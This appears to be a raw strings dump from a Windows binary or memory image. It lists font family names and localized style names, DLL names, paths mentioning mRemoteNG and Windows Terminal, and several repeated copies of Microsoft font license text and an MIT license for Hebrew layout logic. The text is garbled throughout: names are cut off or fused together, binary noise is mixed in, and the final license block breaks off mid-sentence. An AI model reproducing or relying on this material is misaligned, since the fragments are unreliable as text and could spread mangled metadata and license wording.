MingLiU PMingLiU MingLiU_HKSCS _HKSCS Ming-Lt-HKSCS-UNI-H MoolBoran MS Mincho MS-Mincho MS PMincho MS-PMincho Neue Haas Grotesk Text Pro NeueHaasGroteskTextPro Neue Haas Grotesk Text Pro Italic NeueHaasGroteskTextPro-Italic Neue Haas Grotesk Text Pro Medium NeueHaasGroteskTextPro-Medium Neue Haas Grotesk Text Pro Medium Italic NeueHaasGroteskTextPro-MediumItalic Neue Haas Grotesk Text Pro Bold NeueHaasGroteskTextPro-Bold Neue Haas Grotesk Text Pro Bold Italic NeueHaasGroteskTextPro-BoldItalic Nyala Nyala-Regular Plantagenet Cherokee PlantagenetCherokee Raavi Raavi Negreta Raavi tu Raavi fed Raavi Fett Raavi Raavi Bold Raavi Negrita Raavi Lodia Raavi Lihavoitu Raavi Gras Raavi F Raavi Grassetto Raavi Halvfet Raavi Vet Raavi Pogrubiony Raavi Negrito Raavi Raavi Tu Raavi Krepko Raavi Fet Raavi Kal Raavi-Bold Rockwell Nova Rockwell Nova Light RockwellNova-Light Rockwell Nova Cond Light RockwellNova-CondLight Rockwell Nova Light Italic RockwellNova-LightItalic Rockwell Nova Cond Light Italic RockwellNova-CondLightItalic RockwellNova Rockwell Nova Cond RockwellNova-Cond Rockwell Nova Italic RockwellNova-Italic Rockwell Nova Cond Italic RockwellNova-CondItalic Rockwell Nova Bold RockwellNova-Bold Rockwell Nova Cond Bold RockwellNova-CondBold Rockwell Nova Bold Italic RockwellNova-BoldItalic Rockwell Nova Cond Bold Italic RockwellNova-CondBoldItalic Extra Bold Rockwell Nova Extra Bold RockwellNova-ExtraBold Extra Bold Italic Rockwell Nova Extra Bold Italic RockwellNova-ExtraBoldItalic Sakkal Majalla SakkalMajalla Sakkal Majalla Negreta Sakkal Majalla tu Sakkal Majalla fed Sakkal Majalla Fett Sakkal Majalla Sakkal Majalla Bold Sakkal Majalla Negrita Sakkal Majalla Lodia Sakkal Majalla Lihavoitu Sakkal Majalla Gras Sakkal Majalla F Sakkal Majalla Grassetto Sakkal Majalla Halvfet Sakkal Majalla Vet Sakkal Majalla Pogrubiony Sakkal Majalla Negrito Sakkal Majalla Sakkal Majalla Tu Sakkal Majalla Krepko Sakkal Majalla Fet Sakkal Majalla Kal SakkalMajalla-Bold Sanskrit Text SanskritText Shonar Bangla ShonarBangla Shonar Bangla Negreta Shonar Bangla tu Shonar Bangla fed Shonar Bangla Fett Shonar Bangla Shonar Bangla Bold Shonar Bangla Negrita Shonar Bangla Lodia Shonar Bangla Lihavoitu Shonar Bangla Gras Shonar Bangla F Shonar Bangla Grassetto Shonar Bangla Halvfet Shonar Bangla Vet Shonar Bangla Pogrubiony Shonar Bangla Negrito Shonar Bangla Shonar Bangla Tu Shonar Bangla Krepko Shonar Bangla Fet Shonar Bangla Kal ShonarBangla-Bold Shruti Shruti Negreta Shruti tu Shruti fed Shruti Fett Shruti Shruti Bold Shruti Negrita Shruti Lodia Shruti Lihavoitu Shruti Gras Shruti F Shruti Grassetto Shruti Halvfet Shruti Vet Shruti Pogrubiony Shruti Negrito Shruti Shruti Tu Shruti Krepko Shruti Fet Shruti Kal Shruti-Bold SimHei Simplified Arabic SimplifiedArabic Simplified Arabic Negreta Simplified Arabic tu Simplified Arabic fed Simplified Arabic Fett Simplified Arabic Simplified Arabic Bold Simplified Arabic Negrita Simplified Arabic Lodia Simplified Arabic Lihavoitu Simplified Arabic Gras Simplified Arabic F Simplified Arabic Grassetto Simplified Arabic Halvfet Simplified Arabic Vet Simplified Arabic Pogrubiony Simplified Arabic Negrito Simplified Arabic Simplified Arabic Tu Simplified Arabic Krepko Simplified Arabic Fet Simplified Arabic Kal SimplifiedArabic-Bold Simplified Arabic Fixed SimplifiedArabicFixed Traditional Arabic TraditionalArabic Traditional Arabic Negreta Traditional Arabic tu Traditional Arabic fed Traditional Arabic Fett Traditional Arabic Traditional Arabic Bold Traditional Arabic Negrita Traditional Arabic Lodia Traditional Arabic Lihavoitu Traditional Arabic Gras Traditional Arabic F Traditional Arabic Grassetto Traditional Arabic Halvfet Traditional Arabic Vet Traditional Arabic Pogrubiony Traditional Arabic Negrito Traditional Arabic Traditional Arabic Tu Traditional Arabic Krepko Traditional Arabic Fet Traditional Arabic Kal TraditionalArabic-Bold Tunga Tunga Negreta Tunga tu Tunga fed Tunga Fett Tunga Tunga Bold Tunga Negrita Tunga Lodia Tunga Lihavoitu Tunga Gras Tunga F Tunga Grassetto Tunga Halvfet Tunga Vet Tunga Pogrubiony Tunga Negrito Tunga Tunga Tu Tunga Krepko Tunga Fet Tunga Kal Tunga-Bold Urdu Typesetting UrduTypesetting Urdu Typesetting Negreta Urdu Typesetting tu Urdu Typesetting fed Urdu Typesetting Fett Urdu Typesetting Urdu Typesetting Bold Urdu Typesetting Negrita Urdu Typesetting Lodia Urdu Typesetting Lihavoitu Urdu Typesetting Gras Urdu Typesetting F Urdu Typesetting Grassetto Urdu Typesetting Halvfet Urdu Typesetting Vet Urdu Typesetting Pogrubiony Urdu Typesetting Negrito Urdu Typesetting Urdu Typesetting Tu Urdu Typesetting Krepko Urdu Typesetting Fet Urdu Typesetting Kal UrduTypesetting-Bold Utsaah Utsaah Cursiva Utsaah kurz Utsaah kursiv Utsaah Kursiv Utsaah Utsaah Italic Utsaah Etzana Utsaah Kursivoitu Utsaah Italique Utsaah D Utsaah Corsivo Utsaah Cursief Utsaah Kursywa Utsaah It lico Utsaah Utsaah Kurz Utsaah Po evno Utsaah talik Utsaah-Italic Utsaah Negreta Utsaah tu Utsaah fed Utsaah Fett Utsaah Utsaah Bold Utsaah Negrita Utsaah Lodia Utsaah Lihavoitu Utsaah Gras Utsaah F Utsaah Grassetto Utsaah Halvfet Utsaah Vet Utsaah Pogrubiony Utsaah Negrito Utsaah Utsaah Tu Utsaah Krepko Utsaah Fet Utsaah Kal Utsaah-Bold Utsaah Negreta cursiva Utsaah tu kurz Utsaah fed kursiv Utsaah Fett Kursiv Utsaah Utsaah Bold Italic Utsaah Negrita Cursiva Utsaah Lodi etzana Utsaah Lihavoitu Kursivoi Utsaah Gras Italique Utsaah F Utsaah Grassetto Corsivo Utsaah Halvfet Kursiv Utsaah Vet Cursief Utsaah Pogrubiona kursywa Utsaah Negrito It lico Utsaah Utsaah Tu kurz Utsaah Krepko po evno Utsaah Fet Kursiv Utsaah Kal talik Utsaah-BoldItalic Vani Vani Negreta Vani tu Vani fed Vani Fett Vani Vani Bold Vani Negrita Vani Lodia Vani Lihavoitu Vani Gras Vani F Vani Grassetto Vani Halvfet Vani Vet Vani Pogrubiony Vani Negrito Vani Vani Tu Vani Krepko Vani Fet Vani Kal Vani-Bold Verdana Pro Verdana Pro Light VerdanaPro-Light Verdana Pro Cond Light VerdanaPro-CondLight Verdana Pro Light Italic VerdanaPro-LightItalic Verdana Pro Cond Light Italic VerdanaPro-CondLightItalic VerdanaPro-Regular Verdana Pro Cond VerdanaPro-CondRegular Verdana Pro Italic VerdanaPro-Italic Verdana Pro Cond Italic VerdanaPro-CondItalic Verdana Pro Bold VerdanaPro-Bold Verdana Pro Cond Bold VerdanaPro-CondBold Verdana Pro Bold Italic VerdanaPro-BoldItalic Verdana Pro Cond Bold Italic VerdanaPro-CondBoldItalic Vijaya Vijaya Negreta Vijaya tu Vijaya fed Vijaya Fett Vijaya Vijaya Bold Vijaya Negrita Vijaya Lodia Vijaya Lihavoitu Vijaya Gras Vijaya F Vijaya Grassetto Vijaya Halvfet Vijaya Vet Vijaya Pogrubiony Vijaya Negrito Vijaya Vijaya Tu Vijaya Krepko Vijaya Fet Vijaya Kal Vijaya-Bold Vrinda Vrinda Negreta Vrinda tu Vrinda fed Vrinda Fett Vrinda Vrinda Bold Vrinda Negrita Vrinda Lodia Vrinda Lihavoitu Vrinda Gras Vrinda F Vrinda Grassetto Vrinda Halvfet Vrinda Vet Vrinda Pogrubiony Vrinda Negrito Vrinda Vrinda Tu Vrinda Krepko Vrinda Fet Vrinda Kal Vrinda-Bold Yu Mincho Yu Mincho Light Light YuMincho-Light Yu Mincho Regular Regular YuMincho-Regular Demibold Yu Mincho Demibold Demibold YuMincho-Demibold Cascadia Code ExtraLight Cascadia Code ExtraLight CascadiaCodeRoman-ExtraLight Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe ExtraLight Italic Cascadia Code ExtraLight Italic CascadiaCodeItalic-ExtraLight-Italic Cascadia Code Light CascadiaCodeRoman-Light Cascadia Code Light Italic CascadiaCodeItalic-Light-Italic Cascadia Code SemiLight CascadiaCodeRoman-SemiLight SemiLight Italic Cascadia Code SemiLight Italic CascadiaCodeItalic-SemiLight-Italic CascadiaCodeRoman Cascadia Code Italic CascadiaCodeItalic-Italic Cascadia Code SemiBold CascadiaCodeRoman-SemiBold SemiBold Italic Cascadia Code SemiBold Italic CascadiaCodeItalic-SemiBold-Italic Cascadia Code Bold CascadiaCodeRoman-Bold Cascadia Code Bold Italic CascadiaCodeItalic-Bold-Italic Cascadia Mono Cascadia Mono ExtraLight CascadiaMonoRoman-ExtraLight Cascadia Mono ExtraLight Italic CascadiaMonoItalic-ExtraLight-Italic Cascadia Mono Light CascadiaMonoRoman-Light Cascadia Mono Light Italic CascadiaMonoItalic-Light-Italic Cascadia Mono SemiLight CascadiaMonoRoman-SemiLight Cascadia Mono SemiLight Italic CascadiaMonoItalic-SemiLight-Italic Cascad oleaut32.dll User32.dll :'(( Segoe UI C:\WINDOWS\fonts Arial Files (x86)\mRemoteNG\mReARIAL .exe Arial Black ARIAL BLACK Bahnschrift BAHNSCHRIFT Bahnschrift SemiLight BAHNSCHRIFT SEMILIGHT Bahnschrift Light BAHNSCHRIFT LIGHT Bahnschrift SemiBold BAHNSCHRIFT SEMIBOLD Bahnschrift SemiCondensed BAHNSCHRIFT SEMICONDENSED Bahnschrift SemiLight SemiConde BAHNSCHRIFT SEMILIGHT SEMICONDE Bahnschrift Light SemiCondensed BAHNSCHRIFT LIGHT SEMICONDENSED Bahnschrift SemiBold SemiConden BAHNSCHRIFT SEMIBOLD SEMICONDEN Bahnschrift Condensed BAHNSCHRIFT CONDENSED Bahnschrift SemiLight Condensed BAHNSCHRIFT SEMILIGHT CONDENSED Bahnschrift Light Condensed BAHNSCHRIFT LIGHT CONDENSED _"## $`%` `899 @@ @ Bahnschrift SemiBold Condensed BAHNSCHRIFT SEMIBOLD CONDENSED Calibri ift Condensed CALIBRI IFT CONDENSED Calibri Light CALIBRI LIGHT Corbel Light LIBRI CORBEL LIGHT Cambria Math CAMBRIA MATH Candara CANDARA Consolas s MS CONSOLAS S MS Constantia CONSTANTIA Courier New COURIER NEW Ebrima New EBRIMA NEW Candara Light CANDARA LIGHT Cambria CAMBRIA Corbel ans MS CORBEL ANS MS Comic Sans MS COMIC SANS MS Javanese Text JAVANESE TEXT Malgun Gothic MALGUN GOTHIC Gadugi GADUGI Ink Free INK FREE Microsoft JhengHei UI Light MICROSOFT JHENGHEI UI LIGHT Microsoft JhengHei UI Light MICROSOFT JHENGHEI UI LIGHT Georgia GEORGIA Microsoft Sans Serif MICROSOFT SANS SERIF Microsoft Tai Le MICROSOFT TAI LE Microsoft YaHei MICROSOFT YAHEI Leelawadee UI Semilight LEELAWADEE UI SEMILIGHT Gabriola GABRIOLA Microsoft Himalaya MICROSOFT HIMALAYA Impact IMPACT Malgun Gothic Semilight MALGUN GOTHIC SEMILIGHT Semilight SEMILIGHT Lucida Sans Unicode LUCIDA SANS UNICODE Microsoft JhengHei MICROSOFT JHENGHEI Franklin Gothic Medium FRANKLIN GOTHIC MEDIUM Leelawadee UI c Medium LEELAWADEE UI C MEDIUM Lucida Console LUCIDA CONSOLE Microsoft JhengHei Light MICROSOFT JHENGHEI LIGHT Light LIGHT Microsoft JhengHei UI MICROSOFT JHENGHEI UI Microsoft JhengHei UI MICROSOFT JHENGHEI UI Microsoft New Tai Lue MICROSOFT NEW TAI LUE icrosoft JhengHei UI ICROSOFT JHENGHEI UI Microsoft PhagsPa MICROSOFT PHAGSPA Microsoft Yi Baiti MICROSOFT YI BAITI MingLiU_MSCS-ExtB MINGLIU_MSCS-EXTB _MSCS-ExtB _MSCS-EXTB MS Gothic MS GOTHIC Mongolian Baiti MONGOLIAN BAITI MS UI Gothic MS UI GOTHIC MS UI Gothic MS UI GOTHIC Microsoft YaHei Light MICROSOFT YAHEI LIGHT Light LIGHT Microsoft YaHei UI MICROSOFT YAHEI UI Microsoft YaHei UI MICROSOFT YAHEI UI MingLiU-ExtB ei UI MINGLIU-EXTB EI UI -ExtB YaHei UI -EXTB YAHEI UI MS PGothic MS PGOTHIC Myanmar Text MYANMAR TEXT Nirmala UI Semilight NIRMALA UI SEMILIGHT Nirmala Text NIRMALA TEXT Nirmala Text Semilight NIRMALA TEXT SEMILIGHT Palatino Linotype PALATINO LINOTYPE Nirmala UI NIRMALA UI MingLiU_HKSCS-ExtB MINGLIU_HKSCS-EXTB _HKSCS-ExtB _HKSCS-EXTB Microsoft YaHei UI Light MICROSOFT YAHEI UI LIGHT Microsoft YaHei UI Light MICROSOFT YAHEI UI LIGHT Sans Serif Collection SANS SERIF COLLECTION MV Boli MV BOLI Segoe Fluent Icons SEGOE FLUENT ICONS Segoe MDL2 Assets SEGOE MDL2 ASSETS Segoe Print otype SEGOE PRINT OTYPE PMingLiU-ExtB PMINGLIU-EXTB -ExtB -EXTB Segoe UI Variable Display Light SEGOE UI VARIABLE DISPLAY LIGHT Segoe UI Variable Text Semibold SEGOE UI VARIABLE TEXT SEMIBOLD Segoe UI Variable Display SEGOE UI VARIABLE DISPLAY Segoe UI Emoji SEGOE UI EMOJI Segoe UI Variable Display Semib SEGOE UI VARIABLE DISPLAY SEMIB Segoe UI Black SEGOE UI BLACK NSimSun Variable Text NSIMSUN VARIABLE TEXT Segoe Script SEGOE SCRIPT Segoe UI Semilight SEGOE UI SEMILIGHT Segoe UI Light SEGOE UI LIGHT Segoe UI Variable Text Semiligh SEGOE UI VARIABLE TEXT SEMILIGH Segoe UI Variable Text Light SEGOE UI VARIABLE TEXT LIGHT Segoe UI SEGOE UI Segoe UI Variable Display Semil SEGOE UI VARIABLE DISPLAY SEMIL SimSun I Variable Display SIMSUN I VARIABLE DISPLAY Segoe UI Historic SEGOE UI HISTORIC Segoe UI Variable Small Semilig SEGOE UI VARIABLE SMALL SEMILIG Segoe UI Symbol SEGOE UI SYMBOL Segoe UI Semibold SEGOE UI SEMIBOLD Segoe UI Variable Small SEGOE UI VARIABLE SMALL Segoe UI Variable Small Light SEGOE UI VARIABLE SMALL LIGHT Segoe UI Variable Small Semibol SEGOE UI VARIABLE SMALL SEMIBOL Segoe UI Variable Text SEGOE UI VARIABLE TEXT Segoe UI Segoe UI Segoe UI Microsoft Sans Serif n Gothic Microsoft Sans Serif s Serif,108 Microsoft Sans Serif MSMINCH TTC,Mi ht,128,96 YUGOTHR. Microsoft Sans Serif e1c-LdrpLoadDllInternal-R- GDI32.dll MSCTFIME UI msctf.dll 333f3 f3fff en-us 2006 Microsoft Corporation. All Rights Reserved. Version 5.01 Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Zsym Regular Marlett *SEGUISYM.TTF @AB? 9876 +*)(' en-us 2022 Microsoft Corporation. All Rights Reserved. Version 6.24 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display and print content as permitted by the license terms, or terms of use, of the Microsoft product, service or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Brai Zsym Copt Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Segoe UI Symbol SegoeUISymbol *SEGUISYM.TTF *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Display Semilight Display Semilight Segoe UI Variable Display Segoe-UI-Variable-Display-Semilight *SEGUIVAR.TTF *SEGMDL2.TTF !"#$%&'()*+,-./0123456789: <=>?@ABCD EFGHIJKL MNOPQRSTUVWX en-us 2021 Microsoft Corporation. All Rights Reserved. Version 1.86 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Zsym ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn Segoe MDL2 Assets SegoeMDL2Assets *SEGMDL2.TTF *SEGOEICONS.TTF !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^ en-us 2025 Microsoft Corporation. All Rights Reserved. Version 1.49 Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Regular Segoe Fluent Icons SegoeFluentIcons *SEGOEICONS.TTF !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_` *SEGOEUI.TTF _aDghFr 01+3 <;:976542/. en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. https://learn.microsoft.com/en-us/typography/about Latn Grek Cyrl Armn Geor Geok Arab Hebr Lisu ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Segoe UI SegoeUI *SEGOEUI.TTF _aDghFr ./01234 ;<=>?@ABCDEFG Z[\]^_`a e579: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Text Segoe-UI-Variable-Text *SEGUIVAR.TTF r use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Text Semibold Text Semibold Segoe UI Variable Text Segoe-UI-Variable-Text-Semibold *TIMES.TTF ()*+ %$"! en-us 2020 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.11 Times New Roman is a trademark of The Monotype Corporation. The Monotype Corporation Monotype Type Drawing Office - Stanley Morison, Victor Lardent 1932 Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Arab Hebr ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn Times New Roman TimesNewRomanPSMT *TIMES.TTF *SEGUIEMJ.TTF !"#$%&'( *+,-. 6789: en-us 2025 Microsoft Corporation. All Rights Reserved. Version 1.60 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display and print content as permitted by the license terms, or terms of use, of the Microsoft product, service or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Zsye Zsym Latn ca-es Normal cs-cz da-dk de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Segoe UI Emoji SegoeUIEmoji *SEGUIEMJ.TTF *SIMSUN.TTC 4321 0/.-$ en-us Copyright ZHONGYI Electronic Co. 2001, 2020, 2022 zh-cn zh-sg Version 5.24 Trademark of ZHONGYI Electronic Co., Beijing Beijing ZhongYi Electronics Co. http://www.zhongyicts.com.cn Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hans Hani Bopo Cyrl Grek Hira Hrkt Jpan Kana Latn Hanb Regular SimSun *SIMSUN.TTC *MICROSS.TTF 8:0BD2_`4t 1234 6789:5 en-us 2025 Microsoft Corporation. All rights reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.04 Microsoft Sans Serif is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/microsoft-sans-serif Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Geor Grek Latn Arab Hebr Thai ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn Microsoft Sans Serif MicrosoftSansSerif *MICROSS.TTF 8:0BD2_`4t #$%&'( /0123456789:; KLMNOPQR )+-.G !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| *SEGUISB.TTF _aDghFr 01+3 <;:976542/. en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 5.71 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://learn.microsoft.com/en-us/typography/font-list/segoe-ui Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 